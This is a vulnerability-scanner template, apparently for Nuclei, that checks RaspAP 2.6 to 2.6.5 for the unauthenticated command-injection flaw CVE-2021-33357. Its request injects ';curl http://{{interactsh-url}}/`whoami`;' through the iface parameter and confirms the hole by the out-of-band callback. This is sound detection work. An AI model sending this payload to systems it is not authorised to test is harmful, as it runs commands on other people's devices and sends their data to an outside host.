42 lines
1.3 KiB
YAML
42 lines
1.3 KiB
YAML
id: CVE-2021-33357
|
|
|
|
info:
|
|
name: RaspAP <= 2.6.5 - Remote Code Execution
|
|
author: pikpikcu,pdteam
|
|
severity: critical
|
|
description: |
|
|
RaspAP 2.6 to 2.6.5 in the "iface" GET parameter in /ajax/networking/get_netcfg.php, when the "iface" parameter value contains special characters such as ";" which enables an unauthenticated attacker to execute arbitrary OS commands.
|
|
tags: cve,cve2021,rce,raspap,oast
|
|
reference:
|
|
- https://checkmarx.com/blog/chained-raspap-vulnerabilities-grant-root-level-access/
|
|
- https://gist.github.com/omriinbar/52c000c02a6992c6ce68d531195f69cf
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-33357
|
|
- https://github.com/RaspAP/raspap-webgui
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.80
|
|
cve-id: CVE-2021-33357
|
|
cwe-id: CWE-78
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/ajax/networking/get_netcfg.php?iface=;curl%20http://{{interactsh-url}}/`whoami`;"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol
|
|
words:
|
|
- "http"
|
|
|
|
- type: word
|
|
words:
|
|
- "DHCPEnabled"
|
|
|
|
extractors:
|
|
- type: regex
|
|
part: interactsh_request
|
|
group: 1
|
|
regex:
|
|
- 'GET \/([a-z-]+) HTTP' |